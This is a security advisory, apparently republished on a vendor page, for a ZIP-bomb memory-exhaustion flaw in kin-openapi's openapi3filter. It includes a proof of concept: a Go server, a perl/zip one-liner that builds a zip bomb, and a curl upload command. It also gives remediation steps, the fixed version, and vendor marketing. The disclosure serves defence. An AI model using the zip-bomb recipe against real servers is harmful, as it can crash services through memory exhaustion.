GHSA-wq9g-9vfc-cfq9
HIGHImproper Handling of Highly Compressed Data (Data Amplification) in github.com/getkin/kin-openapi/openapi3filter
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/getkin/kin-openapiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
When validating a request with a multipart/form-data schema, if the OpenAPI schema allows it, an attacker can upload a crafted ZIP file (e.g., a ZIP bomb), causing the server to consume all available system memory.
Details
The root cause comes from the ZipFileBodyDecoder, which is registered automatically by the module (contrary to what the documentation says.
PoC
To reproduce the vulnerability, you can use the following OpenAPI schema:
openapi: 3.0.0
info:
title: 'Validator'
version: 0.0.1
paths:
/:
post:
requestBody:
required: true
content:
multipart/form-data:
schema:
type: object
required:
- file
properties:
file:
type: string
format: binary
responses:
'200':
description: Created
And this code to validate the request (nothing fancy, it basically only calls the openapi3filter.ValidateRequest function`):
package main
import (
"fmt"
"log"
"net/http"
"github.com/getkin/kin-openapi/openapi3filter"
legacyrouter "github.com/getkin/kin-openapi/routers/legacy"
"github.com/getkin/kin-openapi/openapi3"
)
func handler(w http.ResponseWriter, r *http.Request) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromFile("schema.yaml")
if err != nil {
http.Error(w, "Failed to load OpenAPI document", http.StatusInternalServerError)
return
}
if err := doc.Validate(r.Context()); err != nil {
http.Error(w, "Invalid OpenAPI document", http.StatusBadRequest)
return
}
router, err := legacyrouter.NewRouter(doc)
if err != nil {
http.Error(w, "Failed to create router", http.StatusInternalServerError)
return
}
route, pathParams, err := router.FindRoute(r)
if err != nil {
http.Error(w, "Failed to find route", http.StatusNotFound)
return
}
input := &openapi3filter.RequestValidationInput{
Request: r,
QueryParams: r.URL.Query(),
Route: route,
PathParams: pathParams,
}
if err := openapi3filter.ValidateRequest(r.Context(), input); err != nil {
http.Error(w, fmt.Sprintf("Request validation failed: %v", err), http.StatusBadRequest)
return
}
w.Write([]byte("request ok !"))
}
func main() {
http.HandleFunc("/", handler)
log.Fatal(http.ListenAndServe(":8080", nil))
}
We also need to create a zip bomb. This command will create a 4.7GB file and compress it to to 4.7MB zip archive:
perl -e 'print "0" x 5000000000' > /tmp/bigfile.txt; zip -9 /tmp/bomb.zip /tmp/bigfile.txt
Run the PoC provided, and upload the zip bomb with curl localhost:8080/ -F file="@/tmp/bomb.zip;type=application/zip" -v.
Observe the memory consumption of the test server during and after the upload (it jumped to a bit over 22GB in my testing, with only a 4.7MB input file, you can reduce the size of the generated file to not kill your test machine when reproducing.)
Impact
An attacker can trigger an out-of-memory (OOM) condition, leading to server crashes or degraded performance. It seems to only be exploitable if the OpenAPI schema allows for multipart upload.
Remediation
I see at least 2 potential fixes/improvements:
- Do not register by default the zip file decoder (I honestly was a bit surprised to see it was enabled by default, it seems to be quite a niche use-case ?)
- Update
ZipFileBodyDecoderto enforce a maximum size of the decompressed archive and bailout as soon as it's reached (probably with a small default value and allow the users to configure it through the input options ?)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/getkin/kin-openapi | all versions | 0.131.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/getkin/kin-openapi. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/getkin/kin-openapi to 0.131.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-wq9g-9vfc-cfq9 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-wq9g-9vfc-cfq9 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-wq9g-9vfc-cfq9. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-wq9g-9vfc-cfq9 in your dependencies?
O3 detects GHSA-wq9g-9vfc-cfq9 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.